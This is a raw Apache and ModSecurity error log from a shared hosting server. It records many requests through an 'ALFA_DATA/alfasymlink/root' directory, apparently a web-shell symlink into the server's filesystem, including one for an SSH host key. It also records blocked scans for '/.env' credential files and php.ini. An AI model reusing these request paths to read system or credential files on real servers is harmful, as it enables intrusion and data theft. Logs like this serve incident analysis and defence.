[Tue Oct 27 00:18:58.247270 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 50.19.221.48:40512] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:19:06.377948 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 52.54.157.23:14988] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:19:10.180807 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 3.221.50.71:41729] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:19:14.145974 2026] [core:error] [pid 3157394:tid 3157394] (13)Permission denied: [client 3.219.81.66:19107] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/subsystem/input3/event3/device/subsystem/input1/device/driver/bind
[Tue Oct 27 00:19:26.167870 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 3.212.219.113:1069] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:19:30.163024 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 54.90.8.255:13349] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:19:42.327047 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 18.213.102.186:42323] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:19:46.169570 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 18.213.27.222:11429] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:19:50.172051 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 44.206.65.8:1357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:20:10.181974 2026] [core:error] [pid 3152927:tid 3152927] (13)Permission denied: [client 54.87.62.248:52902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input4/subsystem/input3/subsystem/mouse1/device/device/drvctl
[Tue Oct 27 00:20:14.161415 2026] [core:error] [pid 3157910:tid 3157910] (13)Permission denied: [client 52.45.15.233:26947] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:00/physical_node/driver/uevent
[Tue Oct 27 00:20:22.201189 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 52.54.249.218:54647] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:20:26.168586 2026] [ssl:error] [pid 3153395:tid 3153395] (70014)End of file found: [client 3.215.59.93:17484] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:20:30.257934 2026] [ssl:error] [pid 3157138:tid 3157138] (70014)End of file found: [client 34.199.252.22:62402] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:20:30.258219 2026] [security2:error] [pid 3157138:tid 3157138] [client 34.199.252.22:62402] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory10/subsystem/devices/memory14/removable"] [unique_id "auAmjkBfWaxhAtd3o5UZvgAAAAk"]
[Tue Oct 27 00:20:30.258256 2026] [security2:error] [pid 3157138:tid 3157138] [client 34.199.252.22:62402] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory10/subsystem/devices/memory14/removable"] [unique_id "auAmjkBfWaxhAtd3o5UZvgAAAAk"]
[Tue Oct 27 00:20:33.634421 2026] [core:error] [pid 3157804:tid 3157804] (13)Permission denied: [client 185.191.171.9:58362] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-256/alloc_calls
[Tue Oct 27 00:20:34.274696 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 34.205.163.103:61122] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:20:42.232228 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 50.16.248.61:29242] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:20:50.164775 2026] [ssl:error] [pid 3157910:tid 3157910] (70014)End of file found: [client 54.163.136.244:33202] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:20:58.167150 2026] [core:error] [pid 3157403:tid 3157403] (13)Permission denied: [client 54.83.56.1:23177] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/node0/memory23/subsystem/drivers_probe
[Tue Oct 27 00:21:02.289747 2026] [ssl:error] [pid 3157910:tid 3157910] (70014)End of file found: [client 3.222.85.38:26374] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:21:13.881508 2026] [proxy_fcgi:error] [pid 3157910:tid 3157910] [client 34.145.114.62:58401] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 00:21:14.026260 2026] [proxy_fcgi:error] [pid 3157138:tid 3157138] [client 34.145.114.62:65534] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 00:21:14.367423 2026] [security2:error] [pid 3157138:tid 3157138] [client 34.145.114.62:65534] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "auAmukBfWaxhAtd3o5UZyAAAAAk"]
[Tue Oct 27 00:21:14.367479 2026] [security2:error] [pid 3157138:tid 3157138] [client 34.145.114.62:65534] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "auAmukBfWaxhAtd3o5UZyAAAAAk"]
[Tue Oct 27 00:21:14.678108 2026] [security2:error] [pid 3157138:tid 3157138] [client 34.145.114.62:65534] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/2021/wp-includes/wlwmanifest.xml"] [unique_id "auAmukBfWaxhAtd3o5UZygAAAAk"]
[Tue Oct 27 00:21:14.678142 2026] [security2:error] [pid 3157138:tid 3157138] [client 34.145.114.62:65534] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/2021/wp-includes/wlwmanifest.xml"] [unique_id "auAmukBfWaxhAtd3o5UZygAAAAk"]
[Tue Oct 27 00:21:15.850562 2026] [authz_core:error] [pid 3157394:tid 3157394] [client 184.197.118.44:54733] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 00:21:22.350406 2026] [core:error] [pid 3157138:tid 3157138] (13)Permission denied: [client 52.205.222.214:39512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/resource4
[Tue Oct 27 00:21:26.273097 2026] [security2:error] [pid 3157828:tid 3157828] [client 16.216.88.180:36864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_host_rsa_key.pub"] [unique_id "auAmxszQS_MM43TPSbyfzQAAAA8"]
[Tue Oct 27 00:21:26.273139 2026] [security2:error] [pid 3157828:tid 3157828] [client 16.216.88.180:36864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_host_rsa_key.pub"] [unique_id "auAmxszQS_MM43TPSbyfzQAAAA8"]
[Tue Oct 27 00:21:54.199459 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 3.225.9.97:31076] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:22:06.460404 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 18.233.24.238:45069] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:22:10.502833 2026] [ssl:error] [pid 3153395:tid 3153395] (70014)End of file found: [client 52.2.58.41:15455] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:22:15.417776 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 185.191.171.9:31974] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:22:26.172881 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 34.204.150.196:43080] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:22:30.306306 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 52.0.41.164:14505] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:22:30.306581 2026] [security2:error] [pid 3157805:tid 3157805] [client 52.0.41.164:14505] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory11/node0/memory0/removable"] [unique_id "auAnBkZzWCS78ges_kVANwAAAA0"]
[Tue Oct 27 00:22:30.306614 2026] [security2:error] [pid 3157805:tid 3157805] [client 52.0.41.164:14505] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory11/node0/memory0/removable"] [unique_id "auAnBkZzWCS78ges_kVANwAAAA0"]
[Tue Oct 27 00:22:34.346258 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 35.168.238.50:27520] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:22:36.532902 2026] [core:error] [pid 3157394:tid 3157394] (13)Permission denied: [client 85.208.96.206:54948] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/usersize
[Tue Oct 27 00:22:50.198266 2026] [ssl:error] [pid 3157793:tid 3157793] (70014)End of file found: [client 3.215.221.125:62786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:22:54.169270 2026] [ssl:error] [pid 3158128:tid 3158128] (70014)End of file found: [client 54.87.95.7:37169] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:22:58.171467 2026] [security2:error] [pid 3157820:tid 3157820] [client 18.214.186.220:2543] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/PNP0C0F:04/"] [unique_id "auAnInEUzec1h8JdAIG5rAAAAA4"]
[Tue Oct 27 00:22:58.171530 2026] [security2:error] [pid 3157820:tid 3157820] [client 18.214.186.220:2543] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/PNP0C0F:04/"] [unique_id "auAnInEUzec1h8JdAIG5rAAAAA4"]
[Tue Oct 27 00:23:02.166714 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 50.19.102.70:7451] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:23:03.416746 2026] [security2:error] [pid 3154108:tid 3154108] [client 91.92.240.86:36834] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "casarin1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAnJ9MVaYal7eZXLLD9bQAAAAQ"]
[Tue Oct 27 00:23:03.416978 2026] [security2:error] [pid 3154108:tid 3154108] [client 91.92.240.86:36834] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "casarin1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAnJ9MVaYal7eZXLLD9bQAAAAQ"]
[Tue Oct 27 00:23:03.417283 2026] [security2:error] [pid 3154108:tid 3154108] [client 91.92.240.86:36834] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "casarin1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAnJ9MVaYal7eZXLLD9bQAAAAQ"]
[Tue Oct 27 00:23:03.479209 2026] [security2:error] [pid 3157828:tid 3157828] [client 91.92.240.86:36848] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "casarin2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAnJ8zQS_MM43TPSbyf1QAAAA8"]
[Tue Oct 27 00:23:03.479434 2026] [security2:error] [pid 3157828:tid 3157828] [client 91.92.240.86:36848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "casarin2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAnJ8zQS_MM43TPSbyf1QAAAA8"]
[Tue Oct 27 00:23:03.479785 2026] [security2:error] [pid 3157828:tid 3157828] [client 91.92.240.86:36848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "casarin2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAnJ8zQS_MM43TPSbyf1QAAAA8"]
[Tue Oct 27 00:23:14.188058 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 52.45.194.165:15909] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:23:18.152397 2026] [ssl:error] [pid 3157793:tid 3157793] (70014)End of file found: [client 44.210.204.255:23432] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:23:22.710210 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 3.229.95.193:49887] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:23:26.166659 2026] [ssl:error] [pid 3157074:tid 3157074] (70014)End of file found: [client 52.54.249.218:22009] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:23:30.250403 2026] [ssl:error] [pid 3157793:tid 3157793] (70014)End of file found: [client 3.94.156.104:51662] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:23:34.176118 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 3.229.164.203:53356] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:24:02.152363 2026] [ssl:error] [pid 3157138:tid 3157138] (5)Input/output error: [client 52.204.71.8:4033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:24:10.166140 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 184.73.195.18:37466] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:24:22.333799 2026] [ssl:error] [pid 3157805:tid 3157805] (70014)End of file found: [client 3.224.104.67:58665] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:24:34.256803 2026] [ssl:error] [pid 3158128:tid 3158128] (70014)End of file found: [client 98.84.131.195:9377] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:24:38.168090 2026] [core:error] [pid 3157138:tid 3157138] (13)Permission denied: [client 18.209.137.234:28410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/0000:00:05.0/resource4_wc
[Tue Oct 27 00:24:50.340315 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 23.22.59.87:42303] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:24:54.257663 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 52.205.113.104:56733] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:24:55.812414 2026] [core:error] [pid 3157403:tid 3157403] (13)Permission denied: [client 185.191.171.11:20164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/aliases
[Tue Oct 27 00:24:58.172462 2026] [ssl:error] [pid 3158128:tid 3158128] (70014)End of file found: [client 44.205.74.196:58872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:25:09.567905 2026] [security2:error] [pid 3157074:tid 3157074] [client 185.191.171.9:57312] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/zoneinfo/Europe/Ulyanovsk"] [unique_id "auAnpVgTO7arM6pKRna5YwAAAAg"]
[Tue Oct 27 00:25:09.568239 2026] [security2:error] [pid 3157074:tid 3157074] [client 185.191.171.9:57312] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/zoneinfo/Europe/Ulyanovsk"] [unique_id "auAnpVgTO7arM6pKRna5YwAAAAg"]
[Tue Oct 27 00:25:31.292008 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 85.208.96.209:30158] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:25:38.176781 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 18.232.11.247:19400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/0000:00:05.0/resource0
[Tue Oct 27 00:25:42.275040 2026] [ssl:error] [pid 3157793:tid 3157793] (70014)End of file found: [client 3.229.95.193:59257] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:25:50.282175 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 3.221.156.96:24578] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:25:52.413973 2026] [core:error] [pid 3154108:tid 3154108] (13)Permission denied: [client 85.208.96.201:11724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/total_objects
[Tue Oct 27 00:25:54.172197 2026] [ssl:error] [pid 3157793:tid 3157793] (70014)End of file found: [client 3.229.2.217:8861] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:26:10.167650 2026] [ssl:error] [pid 3157793:tid 3157793] (70014)End of file found: [client 34.193.2.57:9129] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:26:14.161790 2026] [ssl:error] [pid 3160138:tid 3160138] (70014)End of file found: [client 3.230.69.161:23273] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:26:21.902690 2026] [security2:error] [pid 3160138:tid 3160138] [client 130.12.180.170:56880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env"] [unique_id "auAn7SZoWiqGM-pIO-d_9AAAAAA"]
[Tue Oct 27 00:26:21.902980 2026] [security2:error] [pid 3160138:tid 3160138] [client 130.12.180.170:56880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env"] [unique_id "auAn7SZoWiqGM-pIO-d_9AAAAAA"]
[Tue Oct 27 00:26:21.963399 2026] [security2:error] [pid 3157820:tid 3157820] [client 130.12.180.165:40402] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "mail.curso-de-ventas.com"] [uri "/.env"] [unique_id "auAn7XEUzec1h8JdAIG5uwAAAA4"]
[Tue Oct 27 00:26:21.963663 2026] [security2:error] [pid 3157820:tid 3157820] [client 130.12.180.165:40402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.curso-de-ventas.com"] [uri "/.env"] [unique_id "auAn7XEUzec1h8JdAIG5uwAAAA4"]
[Tue Oct 27 00:26:21.963984 2026] [security2:error] [pid 3157820:tid 3157820] [client 130.12.180.165:40402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "mail.curso-de-ventas.com"] [uri "/.env"] [unique_id "auAn7XEUzec1h8JdAIG5uwAAAA4"]
[Tue Oct 27 00:26:22.307391 2026] [security2:error] [pid 3160138:tid 3160138] [client 130.12.180.170:56880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAn7SZoWiqGM-pIO-d_9AAAAAA"]
[Tue Oct 27 00:26:26.180586 2026] [core:error] [pid 3154108:tid 3154108] (13)Permission denied: [client 98.82.40.168:50564] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/subsystem/devices/memory4/node0/cpu0/crash_notes
[Tue Oct 27 00:26:34.179054 2026] [ssl:error] [pid 3157793:tid 3157793] (70014)End of file found: [client 54.86.59.155:27288] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:26:38.180597 2026] [core:error] [pid 3157911:tid 3157911] (13)Permission denied: [client 184.72.95.195:6074] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/fw_cfg/unbind
[Tue Oct 27 00:26:50.173930 2026] [ssl:error] [pid 3157793:tid 3157793] (70014)End of file found: [client 54.84.250.51:28432] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:26:54.146717 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 3.210.223.61:21290] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:26:58.229478 2026] [ssl:error] [pid 3157403:tid 3157403] (70014)End of file found: [client 44.215.235.20:14240] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:27:02.170778 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 34.231.77.232:44284] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:27:15.077437 2026] [core:crit] [pid 3147513:tid 3147513] (13)Permission denied: [client 95.214.53.196:52754] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 00:27:15.279749 2026] [core:crit] [pid 3157403:tid 3157403] (13)Permission denied: [client 95.214.53.196:54210] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 00:27:18.272581 2026] [ssl:error] [pid 3160190:tid 3160190] (70014)End of file found: [client 54.144.185.255:13087] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:27:22.183515 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 44.215.61.66:5072] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:27:26.173698 2026] [ssl:error] [pid 3160138:tid 3160138] (70014)End of file found: [client 184.72.95.195:9435] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:27:30.330901 2026] [ssl:error] [pid 3157911:tid 3157911] (70014)End of file found: [client 3.224.104.67:13977] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:27:42.179045 2026] [ssl:error] [pid 3157394:tid 3157394] (70014)End of file found: [client 18.235.81.246:6016] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:27:43.035397 2026] [authz_core:error] [pid 3157910:tid 3157910] [client 85.217.140.20:37790] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
